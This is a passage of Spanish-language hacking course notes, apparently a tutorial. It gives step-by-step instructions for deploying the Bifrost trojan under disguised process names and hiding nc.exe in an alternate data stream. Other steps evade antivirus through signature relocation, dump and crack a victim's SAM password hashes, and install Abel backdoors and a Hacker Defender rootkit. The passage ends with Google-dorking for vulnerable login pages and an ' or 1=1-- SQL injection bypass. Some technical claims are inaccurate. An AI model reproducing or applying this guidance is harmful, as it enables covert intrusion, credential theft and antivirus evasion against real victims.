Password: Contraseña, para que yo solo pueda acceder a él. Si no, cualquiera podría acceder y controlar el ordenador de la víctima.

Proxi: Si tenemos o queremos utilizar un proxi.

Installation:

Filename when installed: Es el nombre que queremos darle y que es el que aparecerá en los procesos. Por eso hay que darle un nombre que se confunda para que no lo pillen. Un buen nombre sería svhost.exe

Directoy to install to: Es el directorio donde se va a instalar y donde se van a crear los log. Utilizar uno con un nombre que se confunda también, ejemplo Hpdivers.

Keylogger 2 tipos. Online y offline. El online siempre está activo. El offline lo que hace es generar un fichero que se guarda en la carpeta que antes hemos dicho para la instalación y así poderlo consultar cuando queramos. Incluso enviárnoslo.

Inyection: es el proceso que queremos utilizar para mandar la información y hacer establecer la conexión. Si no hubiera inyection, no se consideraría como proceso y saltaría el firewall de windows, advirtiendo de la conexión que se quiere abrir.

Hay que coger un proceso que tenga privilegios para que no salte el firewall y que se suponga que casi siempre está abierto, ya que si no, se abriría y sería muy cantoso. Si escogemos iexplorer.exe, se abriría el explorador si no estuviera abierto y se vería muy raro. Una buena propuesta es utilizar el actualizador de windows, que por lo general todo el mundo tiene activado. Este es el wuauclt.exe.

Mutex name: Para cambiar de nombre y mutar. Si tuviera que mutar, buscaría combinaciones de ese nombre con diferentes números.

Stealh:

Stealh mode:

- Visible mode: para verlo y que no se oculte. Suele utilizarse para hacer pruebas
- Caution mode: Se ve en procesos, pero se oculta cuando presioneas control+alt+Esc.
- Agressive mode: Todo oculto, se hace mutable y cambia de directorio es necesario.

Rootkit: Oculta el proceso utilizado con técnicas de rootkit

¿Qué son las técnicas de rootkit?: Cuando intentas ver un proceso, el ordenador pide información a la kernel, esta la consulta y se la devuelve al ordenador.

Pues bien, puede filtrarse esta información, de tal forma que cuando la kernel le va a devolver al ordenador (interface) la información, antes pasa por este filtro y borra todo lo referente al bifrost o al proceso que sea, de esta forma, el ordenador cree que no hay proceso. Los antivirus también hace estas peticiones al kernel. Así que la mejor forma para pasar desapercibido y que no te detecte el antivirus es esta.

Miscellaneous:

Use Tor plugin: es cuando utilizas proxis y hacer indetectable nuestra IP en la red. Necesitas el plugin para bifrost

Setting:

Es para configurar al cliente, (el atacante):
Hay que poner el puerto en el primer hueco de los 3. Ejemplo 81. Luego el password que pusimos al crear el virus.

CONCATENAR UN ARCHIVO A UN FICHERO:

Una forma de ocultar un archivo o programa o cualquier cosa es concatenarlo a otro que es inofensivo. De esta forma, solo se ve el ofensivo y el otro nó, pero está ahí. Es decir, si tengo A que es un archivo de texto y tengo B que es un troyano, puedo concatenar B con A, de tal forma que solo se vea A, pero B está ahí a la espera que lo ejecutemos.

Para ello hay que escribir la siguiente instrucción en la CMD:

Para crearlo:
Type nc.exe >hola.txt:nc.exe . de esta forma hemos concatenado el archivo nc.exe al archivo hola.txt

Para ejecutarlo:
start .\hola.txt:nc.exe

INDETECTABILIDAD:

Un buen hacker tiene que aprender a ser indetectable en la red y además hacer indetectables los programillas que construye para atacar. Es decir, que los antivirus no le detecten.

1.- Indetectabilidad en la RED:

Existen 2 tipos de proxy:

a.- Uno con caché, en el que varios ordenadores, se conectan al servidor, el cual se conecta a internet y cuando recibe la información de internet, el servidor se las entrega a los correspondientes ordeandores.
Si no hubiera proxy, el ordenador sería el que se conectara a internet directamente.

Este servidor con caché, lo que hace es grabar en el caché todas las peticiones que hacen los ordenadores, de tal forma que si algún otro ordenador hace una misma petición, va al caché y se la sirve, así va más rápido y no satura tanto la red. Cuando se llena el chaché, lo que hace es ir borrando por antigüedad.

b.- Proxy inverso: En vez de ser ordenadores los que están detrás del proxy son servidores web. De tal forma que cuando un usuario se va a conectar a un servidor web, su petición pasa antes por el proxy. Esto se hace para securizar, es decir, permite que un usuario haga el login en el servidor y luego según que privilegios tenga, pueda acceder a unos contenidos de unos servidores y a otros de otros, sin tener que hacer el login en cada uno de ellos.

Estos proxy, además de autentificar dan autoridad, ya que hacen de nat y controlan a los usuarios antes de que se conecte a la red. Por ejemplo si tiene todo parcheado, antivirus, etc, le deja conectarse, si no no. Hace de filtro y aumenta la seguridad.

Hay 2 formas de conectarse a internet a través de proxys. Muchos de ellos son anónimos. Eso si, cuando te conectas a uno de ellos, tienes que tener en cuenta que estableces una conexión con ellos y registran todo lo que haces en la red. Esto es, páginas que visitas, datos, etc…Mucho de ellos utilizan todos estos datos para luego ofrecerte publicidad etc…
Puedes configurar un proxy con protocolo HTTP, que lo que hace es que el navegador utiliza ese proxy para la conexión a internet y para visitar páginas web. Si quisieras que determinado programa utilizase un proxy para conectarse a internet, ya tendrías que configurar el proxy por el protocolo SOCKS . Así se puede utilizar cualquier servicio. Para ello, tienes que conectarte a servidores socks. Existen 2 versiones de socks, la V4 que es más rápida y la V5, que es más lenta, pero más segura.
Además podemos convertir nuestros ordenadores en proxy. Así conseguimos una cadena de proxys. Para ello, necesitamos un programa llamado socks chain. Con este programa conseguimos convertir nuestro ordenador en un proxy y además unir varios proxys, para que nuestra conexión a internet pasen por muchos de ellos. Eso si, si navegar a traves de uno de estos proxys es lento, con una cadena de varios proxys, la lentitud es tremenda.
Haciendo un **netstat –an** en la cmd, podemos ver los puertos que están abiertos y el puerto que está utilizando el proxy.

UTILIZACIÓN de Socks chains:

En tools ir a proxy manager, aquí en add y meter la ip del proxy.
Doble click en detect chain. Hay que desclickear el autocorrectin chain.
En el navegador, configurar nuestro proxy local.

Como ya he dicho antes, navegar utilizando estos proxys es muy, muy lento, además de la tarea de encontrar un proxy que funcione.

La mejor forma de navegar de forma anónima por internet, es a través de la **RED TOR**. Primero, porque es mucho más rápido que la forma vista antes y segundo porque es más seguro, ya que todas las conexiones van cifradas, excepto la última que es la que hace la petición a internet. De esta forma, cada proxi por el que pasas, no sabe lo que estás haciendo, ya que la información que le llega está cifrada. Puedes bajarte el programa del link www.torproject.org

Ir a download y te bajas un cliente llamado vidalia-bundle y lo instalas.

Una vez instalado, tienes que configrar el proxy en tu navegador. En el proxy poner en Servidor Socks 127.0.0.1 y en el puerto 9050 . Por ejemplo, si usas Firefox, ir a herramientas → Opciones → Avanzado →Red → Configuración → Y ahí en Servidor Socks poner 127.0.0.1 y en puerto el 9050 y dar a aceptar.

Saber que este cliente de la Red Tor corre por el puerto 9050 y 9051

Si quieres que cualquier programa que se conecte a internet pase por el proxy y por la RED TOR necesitas bajarte el **Socks Cap.** Con este programa selecionas el programa que quieres que cuando se conecte a internet salga por la red TOR. eso si, tienes que ejecutar el programa elegido desde el Socks Cap. Si lo hicieras mediante el menú inicio y programas, es decir, fuera del Socks Cap, no saldría a internet por la red TOR, sino por la forma habitual.

CONFIGURACIÓN:

Files → settings → poner nuestra IP interior, es decir 127.0.0.1
New → elige el programa en el Browser para que salga por el proxy
Run → para ejecutar el programa y que salga por la RED TOR

2.- Indetectabilidad en Malware y troyanos:

Método de las firmas:
Para evitar el método de las firmas hay 3 formas: cifrándolo, empaquetándolo o bien a través del método RIT.
Cifrándolo y empaquetándolo, sirve, ya que la cantidad de antivirus que lo detectan disminuye, pero te lo siguen detectando, ya que los antivirus lo que hacen es buscar que programa has utilizado para cifrarlo o empaquetarlo y si utilizas uno muy común utilizado por hackers, diréctamente te lo detecta como malware independientemente de que lo sea o no.

Para ello se puede utilizar el **yoda cripter** y el **yoda protector**.

El método RIT es complicado pero sofisticado y por tanto puede evitar ser descubierto por los antivirus. Ver la revista nº28 de hackxcrack donde te dice paso a paso como aplicar este método.

Método Rit:

Primero hay que localizar las firmas. ¿Qué son las firmas?:
Las firmas no son más que código en hexadecimal que contiene un programa, en nuestro caso un virus. Un antivirus, una vez que detecta un virus, mira en su código que parte de él es único y lo distingue del resto de los programas que existen en el mercado. Cada trozo de código que utiliza como fuente diferenciadora, lo llama firma. Debido a la cantidad de programas que existen, estos antivirus, cogen varias firmas, para que así no se confunda con un programa que no es un virus. Lo normal es que comparen 3 firmas. Puede ocurrir, que si son variantes u otro tipos de virus, necesite más firmas para detectarlo.

Los antivirus tienen una base de datos con estas firmas. Es decir, cuando sale un virus y lo detectan, estudian el código y eligen las firmas necesarias para distinguir este virus. Dichas firmas la ponen en su base de datos y cuando un antivirus escanea un archivo y coinciden estas firmas, sabe que virus es, de que tipo y como se llama. Si solo detecta algunas firmas y otras no, puede que sepa que es un virus, pero no sabe cual o bien crea que es un virus y en realidad es otro. Si apenas detecta firma, entonces pensará que no es un virus.

Por esta razón, el mejor método es cambiar las firmas, para que así el antivirus no las reconozca y piense que no es un virus.

Para ello, necesitamos un editor hexadecimal y un desensamblador. Con el desensamblador, abrimos el fichero que está ensamblado y que luego modificaremos con el editor haxadecimal. Programas que podemos utilizar son los siguientes: **ollydbg** como desensamblador (pincha aquí para breve manual de funcionamiento) y el **hex workshop** como editor hexadecimal. También necesitarás un programa llamado **FileAlyzer** para conocer la cabecera PE.

Primero hay que encontrar las frimas. Tarea dificil. Para ello se utiliza el **método de divide y vencerás**. ¿En que consiste?, en dividir el código por partes y probarlo en el antivirus. Es decir:

cogemos el código y lo partimos en 2 archivos: Uno con todo ceros hasta la mitad del código y otro con todo ceros desde la mitad del código hasta el final. Los pasamos por los antivirus. Si solo detectan uno de ellos, es que el otro no tiene firmas o no las suficientes para ser detectados. En tal caso proseguimos con el segundo archivo y lo volvemos a dividir…. y así sucesivamente, hasta que demos con las firmas.

Una vez encontradas las firmas, las cortamos y nos la llevamos a algún lugar libre del código, donde la pegamos. Eso si, donde la hemos cortado, habrá que poner un jump para que salte a donde está la firma y en ella otro jump al final para que vuelva justo donde debería de acabar. Es decir, movemos trozos de código a otro sitio y utilizamos los jumps para no corromper el código y que salte a donde debe de ir.
Con esto, al mover las firmas, el antivirus, ya no puede comparar su base de datos con la nueva disposición de las firmas. Recordar que el antivirus distingue los virus por los trozos de código que están en determinada posición dentro del conjunto total del código. Al cambiar dicha posición, hemos cambiado la firma y el antivirus ya no lo ve.

Con el desensamblador, lo volvemos a ensamblar y listo. Malware indetectable. Eso si, hasta que un día les llegue a la firma de antivirus y saquen la nueva firma que hemos creado. A esto se le llama mutación del virus X . La mutación no es más que el cambio de firma que alguien ha hecho y que lo ha puesto en funcionamiento de nuevo.

PASSWORDS:

Primero hay que saber como guarda los ordenadores los passwords. Cuando tu introduces un password, el ordenador lo codifica, pero además crea un hash del password, el cuál almacena en un archivo.
Pero vayamos por partes. Definamos que es un Hash.

HASH: El hash es el resultado de aplicar un algoritmo a un programa, una contraseña, es decir, a algo. El primer algoritmo que salió fue el **MD5** y fue inventado para comprobar que un determinado programa, que tu podrías bajarte de internet de su página oficial, verdaderamente correspondía a la empresa que lo fabricó, es decir, que no había sido retocado por un tercero.

Imaginemos una tabla con un montón de columnas y millones de filas. En las filas, ponemos a cada persona que existe en españa y en las columnas, su nombre, su apellido, su dirección, su teléfono, etc, etc…

Si quisieramos encontrar a una persona específica, tendríamos que hacer una búsqueda por muchos campos, ya que Pepito Jimenez, puede haber muchos. Tendríamos que añadir más campos de búsqueda. Cada vez que ejecutaramos la búsqueda, habría que ir por varias columnas y comparar. Esto llevaría mucho tiempo. Sería más facil crear una columna que solo hubiera que comprobar esta en lugar de hacer comparaciones entre muchas de ellas. En este ejemplo, añadiríamos la columna DNI. Aquí, DNI podría actuar como hash, ya que con este solo indicador, podemos llegar a identificar a la persona que buscamos.

Pues bien, para que un fabricante que quería distribuir su programa por internet y por miedo a que fuera manipulado y metieran un virus dentro de él, quiso asegurarse de que si una persona se bajaba su programa fuera el correcto. Para eso se creó el algoritmo MD5. Lo que hace es que da un número muy grande a cada programa que existe en internet, de tal forma que éste número es el que le identifica. Si se modificara el programa, el resultado de aplicar el algoritmo sería otro y así se sabría

que no es el original.
Si por ejemplo, te bajas un programa de una web oficial, puedes ver una serie de caracteres que empieza por MD5. Luego puedes comprobar con el fabricante que esa serie de caracteres corresponde de verdad con el programa original del fabricante.

El algoritmo MD5 se quedó pequeño, por la cantidad de programas que han aparecido. Por eso se ha pasado al **SHA1**, para evitar las colisiones, es decir, que dos programas tuvieran el mismo hash.

Este algoritmo se usa hoy en día para identificar cualquier cosa. Por ejemplo, un ordenador utiliza este algoritmo para almacenar los passwords.

Existen muchos identificadores: Blue fish, LM, LM2, WEB, NTLM, etc….

Los hashes tienen una característica y es que si a una Matriz le aplicamos un algoritmo MD5, obtenemos un hash. De un hash, nunca se puede obtener la Matriz. Ya que el hash es solo un identificador, pero no está el programa en sí. ¿Qué quiere decir esto?. Pues que cuando un ordenador convierte un password en un hash, este no puede convertirse luego en password, ya que el hash es solo el identificador y no la contraseña. Entonces, ¿Cómo sabe cúal es la contraseña correcta?.
Pues muy sencillo. Cuando tu creas una contraseña, el la pasa a hash y la almacena, luego cuando tu introduces de nuevo la contraseña, el ordeandor compara el hash de la contraseña que acabas de introducir con el hash que tiene almacenado. Si coinciden es porque las contraseñas son iguales. Si no coinciden es que no son iguales y por tanto no te deja acceder. Como se puede observar, en ningún momento el ordenador ha guardado la contraseña en ningún lugar.

Recuperación de contraseñas en WINDOWS:

Windows 9X (Windows 95, 98, Milenium) el algorítmo que utiliza es el LM (Lan Manager)
Windows NT, 2000, 2003 server, XP, Vista, 2007 cifran con los siguientes algoritmos: LM, NTLM, NTLM2, Kerberos.

Se sigue cifrando con LM por una sencilla razón. Por compatibilidad. Es decir, si tenemos en red un windows 98 y un XP, si el W98 utiliza LM y el WXP utiliza LM2, por ejemplo, un usuario de W98 no podría hacer login en WXP, con lo que no podrían estar en red. Para evitar esto, los Windows NT, cifran en todos los algoritmos y así se evitan de problemas de incompatibilidades. Un hacker aprovecha esto para romper la contraseña de un WXP descifrando el LM que es mucho más fácil y rápido que el LM2.

Kerberos no es un hash propiamente dicho. Es un método de autentificación por tickets y es cuando hay un servidor de dominios por medio. A partir del Windows 2003, los ordenadores ya pueden usar este tipo de cifrado.

Explicación breve de los algoritmos:
LM: cifra en 16 bytes, es decir, permite 16 caracteres, de la siguiente forma. Separa 2 bloques, cada uno de 8 bytes (8 caracteres). Al primer bloque lo convierte todo en mayúsculas y al resultado le pasa el algoritmo y al segundo bloque, no le pasa ningún algoritmo, sino simplemente coge los 8 bytes y los une en hexadecimal al resultado del algoritmo que dio el primer bloque.
Es decir:
1.- Solo me hace un hash de los 7 primeros caracteres. (Recordar que en informática se cuenta desde el 0). Primer bloque (0-8)
2.- No distingue entre mayúsculas y minúsculas en el primer bloque, ya que lo pasa todo a

mayúsculas.
3.- A partir del séptimo carácter, la contraseña es muy fácil de averiguar, ya que solo hay que pasar de hexadecimal a código ASCII.
Conclusión. Poner una contraseña de 7 caracteres o 15 caracteres es lo mismo. Un hacker solo tiene que averiguar una combinación de 7 caracteres y probar todas las combinaciones posibles.

NTLM, NTLM2: Debida a esta fragilidad del algoritmo LM, se creó los siguientes algoritmos. Por ejemplo el NTLM es mucho más robusto, ya que permite contraseñas de hasta 32 bytes, distingue entre mayúsculas y minúsculas y convierte los 32 bytes en hashes. Un hacker tardaría muchísmo tiempo en averiguar la contraseña, ya que tendría que hacer combinaciones de 32 caracteres para poder descifrar la clave.

¿Se puede deshabilitar el LM del ordenador, para que no guarde mi clave con este algoritmo?. SI, a través del registro, cambiando unos parámetros.

Hay que tener en cuenta lo siguiente: Facilidad y Compatibilidad van reñidas con Seguirdad.

KERBEROS: Si quieres una explicación amplia, pulsa aquí. Pero resumiendo, se trata de un método para que dos ordenadores se puedan conectar de forma segura entre sí estableciendose un canal de seguirdad cifrado. Para ello, por ejemplo si un ordenador se quiere conectar a un servidor de forma segura, se hace a través de un segundo servidor que hace de Active Directory. De esta forma es por este segundo servidor por donde pasa toda la información cifrada y es él el que la descifra, la autentifica haciendo de intermediario y consiguiendo así un canal seguro entre ordenador y servidor.

Kerberos fue inventado por el MIT (Massachusetts Institute of Technology) y permite un algoritmo de cifrado de hasta 128 bits, esto son 16 bytes (16 caracteres). En Estados Unidos, por ley, no se puede cifrar los datos más allá de 128 bits, para que el FBI pueda descifrarlo en caso de ser necesario.

En Europa existe el algoritmo de cifrado HEIMDAL que permite más de 128 bits. Existen cifrados de 256 bits, 512 bits, etc…

Para romper las contraseñas, no queda más remedio que utilizar la fuerza bruta, es decir, mediante combinaciones.

Windows guarda las claves de los usuarios en hash en un fichero llamado **SAM (Security Access Management)**.
Dicho archivo se encuentra en la siguiente dirección:
C:/Windows/System32/Config/Sam

En **Linux**, el archivo donde está las contraseñas, se llama **Shadow**. Y está en el directorio etc/Shadow. Solo se tiene acceso desde el root. Puedes abrirlo sin problemas, ya que no está codificado. Eso sí, utiliza un hash más complicado que Windows. El algoritmo que utiliza es el Blue Fish.

Este archivo SAM está además codificado. Con lo que si se quiere abrir con un editor de texto, solo aparecerá números raros.

Hay un proceso llamado Lsass.exe que se encarga de coger los usuarios y sus hashes del fichero

SAM y a raiz de ahí dar los privilegios que corresponde a cada uno de los usuarios según la contraseña que tienen. Este proceso está siempre operativo. Cada programa que se ejecuta, la autorización tiene que pasar por este proceso. Esto hace, que si quieres copiar el archivo SAM, cambiarlo de nombre, moverlo, modificarlo, etc, el sistema no te deje, ya que el Lsass.exe lo está utilizando y si intentas parar el proceso Lsass.exe para hacerte con el SAM, no vas a poder, porque en el momento que matas el proceso, el sistema se cae.

Existen varios **métodos para conseguir el fichero SAM:**

1.- Cuando hacemos un disco de arranque o reparamos el sistema, se crea una carpeta llamada "**repair**" que está en windows. De esta carpeta se puede obtener el fichero SAM, pero hay que tener en cuenta que no tiene por qué estar actualizado. Se crea en el momento de reparar el sistema o crear el disco de arranque. Si eso pasó hace mucho tiempo, el archivo SAM es el que correspondía cuando se hizo. Además, dicho archivo está cifrado.

2.- Utilizamos el disco duro como disco portatil y secundario. Arrancamos con otro disco duro y así, no se carga el archivo Lsass.exe y por tanto podemos copiar el archivo SAM.

3.- Dumpear el SAM: Esto significa, que cuando un programa se ejecuta, éste se guarda en la RAM y descifrado, ya que así el proceso de ejecución es mucho más rápido, ya que se evita tener que acudir al disco duro donde la transmisión de la información es mucho más lenta. Con lo que si el Lsass.exe está utilizando este archivo, entonces este archivo está en la RAM. Se trata de ir a la RAM y coger el SAM que además está descifrado. A esto se le llama Dumpear. Es decir, ir a la memoria RAM y coger los datos del SAM.

Una **herramienta** que se puede utilizar para conseguir la SAM en windows es **el PWDAM2**.
Hay que ejecutarlo en la víctima para conseguir la SAM. Para ello, hay que subirle a la víctima 2 ficheros, ya que para que funcione el PWDAM2 necesita también de una librería. Los 2 archivos son los siguientes:

PWDAM2
SAMDUMP.dll

El comando a teclear en la CMD es el siguiente: **pwdamw.exe >nombre.txt** . Con esto conseguimos crear un archivo de texto llamado nombre con los datos del SAM. Este archivo nos lo podemos llevar para luego intentar descifrarlo y obtener las contraseñas.

El **archivo SAM** se compone de las siguientes columnas:
1ª columna: Los usuarios
2ª columna: la tipología (500 son administradores, a partir de 1.000 son usuarios normales)
3ª columna: hash LM
4ª columna: hash NTLM
5ª columna: NTLM2 (si es que está activado)
6ª columna: Tickets Kerberos (si es que está activado)

Una **herramienta** para romper la contraseña es el programa **L0phcrac**

Lo bueno de este programa que otros no lo tiene, es que tiene el llamado método híbrido, es decir que combina el ataque de fuerza bruta con el ataque de diccionario. Es decir. Los métodos que tiene son los siguientes:
1.- Ataque diccionario: Posee una base de datos de palabras del diccionario y utiliza estas para obtener la contraseña. Muchas personas, ponen a veces nombres que vienen en el diccionario. El

tiempo de obtención de la contraseña es muy reducido.
2.- Ataque bruto: A base de probar combinaciones de todas las posibles teclas. Puedes incluir números, signos raros, etc… Cuanto más incluyes, más tiempo tarda en obtenerse la contraseña.
3.- Método híbrido: Utiliza la combinación de ambos, con lo que la obtención de la contraseña es más rápida que utilizando solo el ataque bruto.

Una vez elegido en el programa el método, hay que importar el archivo donde tenemos el SAM grabado. En nuestro caso anterior nombre.txt, luego dar play y a esperar!!!.

El Mejor **programa** para conseguir las claves y que además tiene muchas más cosas, como crackear cualquier tipo de contraseña, hacer de sniffer, crear puerta trasera, chequear vulnerabilidades, enumerar usuarios, máquinas, redes, etc, etc, etc… se llama **CAIN y ABEL**.

Se instala Cain y luego, si quieres crear una puerta trasera en la victima, se instala Abel. Con abel, accedes a la CMD de la victima, a sus archivos, sus registros, etc… Se descarga en la página http://www.oxid.it/cain.html . Siempre instalar la última versión.

UTILIZACION:

Una vez enumerado las máquinas y usuarios y localizada la máquina a la cual se quiere acceder, clickeamos en servicios con el botón derecho y podemos instalar Abel, además de parar cualquier servicio, incluido el antivirus.

Una vez instalado Abel, vuelves a abrir la máquina de la víctima y aparece el icono de Abel. Lo despliegas y es cuando tienes acceso a todo. Consola, hashes, LSA Secret (claves de registro donde se guardan más contraseñas), etc…

Para ver los procesos que hay abiertos, no olvidar la instrucción: Con la CMD abierta teclear tasklist

VULNERABILIDADES:

En un ordenador, existen muchísimas vulnerabilidades, entendiendo como vulnerabilidades fallos en la programación que un ordenador ejecuta. Por tanto, puede haber vulnerabilidades en el sistema operativo, en el explorador de windows, en suites como adobe, en juegos, es decir, en cualquier programa que un ordenador tiene que ejecutar.
Si por ejemplo, el explorador de windows, registra un fallo en la ejecución de su navegador o cualquier componente, un hacker puede utilizar ese fallo para meterse dentro del ordenador. ¿Y como lo hace?. De la siguiente forma:

Un programa, como se explicó anteriormente, se ejecuta en la memoria Ram del ordenador, precisamente para ahorrar tiempo en la ejecución del mismo y ganar rapidez a la hora de procesar los datos del programa. El acceso a la memoria RAM es muchísimo más rápido que el acceso al disco duro.

Dentro de la memoria RAM hay una parte reservada que se llama **pila** y que se utiliza para almacenar datos que luego el ordenador va utilizando en la medida que los necesita. El nombre de pila viene precisamente por la pila de platos. Los datos que va almacenando los almacena unos encima de otros y luego para utilizarlos, tiene que empezar por el de más arriba.

Pues existen vulnerabilidades llamadas **Stackoverflow**, que se trata de desbordar la pila y así poder entrar dentro de la memoria Ram reservada al sistema opertivo. Es decir, si conocemos la vulnerabilidad, podemos enviar un paquete al ordenador, mal formado y con tantos bits como para poder llenar la pila entera. De esta forma, al resto del paquete le añadimos un código malicioso, el cual sobrepasa la pila y llega a la parte de la memoria Ram donde se procesan los datos relativos al sistema operativo. Al alcanzar esta parte, podemos introducir ahí un programita, como por ejemplo, que nos envíe la CMD del ordenador.

También existen otros tipos de vulnerabilidades diferentes al anterior, como es aprovechar vulnerabilidades del RPC que también se ejecuta en la RAM, etc…

Existen unas listas de vulnerabilidades publicadas en internet. Se pueden consultar en la siguiente dirección: http://www.cve.mitre.org/ .

Hay que distinguir entre listas y Bases de datos de vulnerabilidades. Existen **2 tipos de listas**:

Lista CAN: Cuando una aplicación da un error, dicho error se publica en esta lista, pero todavía no se sabe si ese error es explotable, es decir, si es una vulnerabilidad, o simplemente es un error del programa que no es explotable, es decir que no se puede utilizar para fines "no éticos".
Cuando se estudia el error y se comprueba que es una vulnerabilidad y que se puede utilizar para fines maliciosos, entonces pasa a la lista CVE.

Lista CVE: Cuando el error es investigado, explicado y se observa que se puede hacer uso de él para explotarlo. Entonces se considera vulnerabilidad y se añade a este tipo de lista.

El formato es el siguiente:

Tipo de Lista – año en que se descubrió – número del error en ese año.

Es decir, Se descubre un error en el año 2004 y resulta que es el error 210 de ese año. Se añade a la lista CAN de la siguiente forma: CAN-2004-210.
Si dicho error se estudia y se dan cuenta que es una vulnerabilidad, entonces pasaría a la lista CVE, de la siguiente forma: CVE-2004-210 . Es decir, pasa con el mismo número. Lo que significa que el error 210 descubierto en el año 2004 es una vulnerabilidad

Base de Datos de vulnerabilidades:

La base de datos de vulnerabilidades nos da una información mucho más amplia de la que aparece en la lista. Los campos son los siguientes:

- Descripción: Breve descripción de la vulnerabilidad, además de informarte a qué sistemas y a qué versiones son vulnerables.
- Exploit: Te informa del exploit que se utiliza para explotar esta vulnerabilidad. (aunque no siempre viene).
- Solución: Suele ser un parche o conjunto de cosas que hay que hacer para corregir la vulnerabilidad (ej. añadir un fichero, borrarlo, modificarlo, etc…)
- Un conjunto de cosas interesantes a cerca de la vulnerabilidad.

Una base de datos la puedes encontrar en http://www.securityfocus.com/ y ahí dentro de Bugtraq.

Si quieres buscar una vulnerabilidad específica o por vendedor, programa, sistema operativo, etc, tienes que pinchar sobre la pestaña vulnerabilities.

ROOTKITS:

Las rootkits son un tipo de malware cuya misión es estar oculto y ocultar cosas. Las rootkits utilizan el método hooking.

Cuando un usuario hace una petición mediante el teclado al ordenador, ejemplo, muestrame los directorios que hay en el disco C, la interface(el teclado o ratón en este caso) envía una petición al núcleo del sistema operativo llamado Kernel. Éste procesa la petición y le devuelve a la interface la respuesta a su petición. En este caso, te mostraría todos los directorios que hay en el disco duro C.

Pues bien, una rootkit, se interpondría en medio del Kernel y la interface de tal forma que monitorizaría toda la comunicación entre la interface y la kernel. Con esto consigue, por ejemplo si se hace una petición de mostrarme los archivos acabados en .jpg, el rootkit cuando el kernel le va a mandar los resultados a la interface, podría borrar los archivos y mostrarle lo que el quisiera. Es decir, si pido por ejemplo que me muestre la foto 1.jpg, la rootkit podría mostrarme la foto 2.jpg porque la hayamos programado así, o bien no mostrarme nada. Lo mismo si hago una petición a internet y resulta que pido que me muestre la página de yahoo y me muestra la de google, o me dice que no hay página. Es decir, la rootkit puede manipular toda la información que va del kernel a la interface y de la interface al kernel. Se puede poner en ambos sentidos.

Si un antivirus quiere escanear un archivo e intenta mandar la petición al kernel para que se lo muestre, si está la rootkit por medio, puede devolverle al antivirus su petición y decirle que ese archivo no existe. De esta forma pasaría despercibido para el antivirus y el archivo infectado seguiría intacto.

Ahora los antivirus, están haciendo antirootkits. Lo que hacen es crear su propia interface y no permite que nada se interponga entre su interface y la kenel. De esta forma, todas las peticiones pasan por la interface del antivirus y así evitar las rootkits.

Una página sobre rootkit es http://www.rootkit.com

Para configurar una rootkit, se puede usar el programa **hacker defender (hdef100)**

Configuración de Hacker Defender:

Hay que **abrir el hdef100.ini** y vemos que se compone de varios bloques, todos ellos con un enter para separar los bloques (Importante y necesaria esta separación entre bloques).

[Hidden Table]
Aquí hay que poner las cosas que se quieren ocultar. Se permite poner asteriscos. Es decir, si quiero ocultar todos los archivos que acaben en jpg, poner *.jpg

[Root Processes]
Para que a nosotros nos sea visible. Es decir, va a ser visible para el administrador de la rootkit. Si aquí no ponemos lo que queremos ver, tampoco nosotros lo veríamos. Es decir, si lo que quiero es ocultar la cmd, pero yo poder verla para poder utilizarla, debería de poner cmd.exe en hidden table y cmd.exe en root processes.

[Hidden Services]
Para ocultar servicios

[Hidden RegKeys]
Para ocultar lo que se ha creado en el registro de windows.

[Hidden RegValues]
Para ocultar los valores del registro.

[Startup Run]
Ponemos aquí las aplicaciones que necesitamos que se inicien cuando se enciende el ordenador. La ventaja es que no se mostrarán en el msconfig y el usuario no sabrá que existe esa aplicación que se ejecuta al inicio.

[Free Space]
Aquí podemos poner el tamaño del disco duro que queremos que se muestre. Tener en cuenta que este tamaño es estático, con lo que si el usuario llena el disco duro o lo vacía, seguirá apareciendo el valor que hemos predeterminado..

[Hidden Ports]
Si queremos ocultar un puerto. De esta forma si hacemos un netstat –an, no aparecerá el puerto que tenemos abierto. Es como si estuviera cerrado.
Podemos poner tanto TCP como UDP. Ejemplo:

TCP 80, 3000 →ocultaría los puertos 80 y 3000 TCP
UDP 2100, 4000 →ocultaría los puertos UDP 2100 y 4000.

Ojo, con el nmap te puedes dar cuenta de que tienes una rootkit instalada. Ya que aunque no se muestre el puerto como abierto, en realidad está abierto. Es decir, si ocultamos el puerto 23 y hacemos un nmap y me dice que el puerto 23 está abierto y haciendo un netstat –an me pone que está cerrado, entonces me doy cuenta enseguida que tengo una rootkit instalada.

Las Rootkits funcionan con cualquier puerto. Es decir, se instala en todos los puertos abiertos

[Seetings]
Password= aquí establezco mi password para acceder a la rootkit.

Necesitamos saber los puertos que tenemos abiertos y nuestra IP. El puerto 135 a veces no funciona.

Una vez configurado, ejecutamos el archivo **hxdef100.exe** en la víctima (servidor)
Nosotros (cliente) ejecutamos el archivo **bdcli100.exe** para conectarnos a la rootkit.

Desde la cmd podemos para la rootkit a traves de la instrucción **net stop hackerdefender100**

Ojo. Si no paramos la rootkit y apagamos el ordenador, cuando vuelva a encenderse, la rootkit seguirá ejecutándose. En tal caso, hay que abrir la cmd y poner la instrucción anterior

SQL INYECTION:

Hay muchas formas de entrar en una página web y más concretamente en la base de datos

que ella maneja. Una de ellas es a través de la SQL Inyectión. Se trata de inyectar código a la página web, mal formado, para generar un error y que nos de información de la página web o al menos la suficiente información como para entrar en ella sin necesidad de loging y password.

Podemos utilizar google, para este propósito. Al ser google un buscador excelente, podemos utilizarlo para buscar bases de datos que tengan errores y por tanto poder explotarlo. El sitio web donde nos permite hacer todo esto es http://www.hackersforcharity.org . Esta página está hecha por Johnny Long que es al que se le ocurrió esta idea. En la propia página hay un enlace a google hackering database.
Por ejemplo, podríamos meter en google lo siguiente: **site:.cl inurl:login.asp** y daríamos a buscar. Con esto conseguimos decirle a google lo siguiente:

site: que busque sitios web
.**cl** Todos los sitios de chile (cl)
inurl:loging.asp que en la dirección url, aparezca la palabra loging.asp.

Con esto conseguimos, que google nos liste todos los sitios web alojados en chile y que en la dirección url aparezca el loging. Así, podemos acceder directamente donde nos pide el loging para entrar y además, aquellas web que están programadas con base de datos ASP.
Se ha escogido chile, porque dependiendo de que paises, hacen mejores las páginas web y tienen corregido estos fallos de inyección de código. Si lo tienen corregido, no se puede aprovechar el fallo para acceder. Por eso es mejor escoger sitios o paises, donde no hayan tenido esto en cuenta o no hayan programado bien la página web.

Ahora para poder entrar, introduciremos la siguiente inyección de código:

en usuario poner: **‘or 1=1--**
en password lo que queramos, ejemplo abcd

Explicación: Una tabla, viene definida por unas columnas en las cuales entre otras cosas aparece el user, el pass (password) y el ID (identificador). En las filas se van rellenando, por ejemplo una fila sería user= pepe, Pass=1234, ID=1 y así sucesivamente.
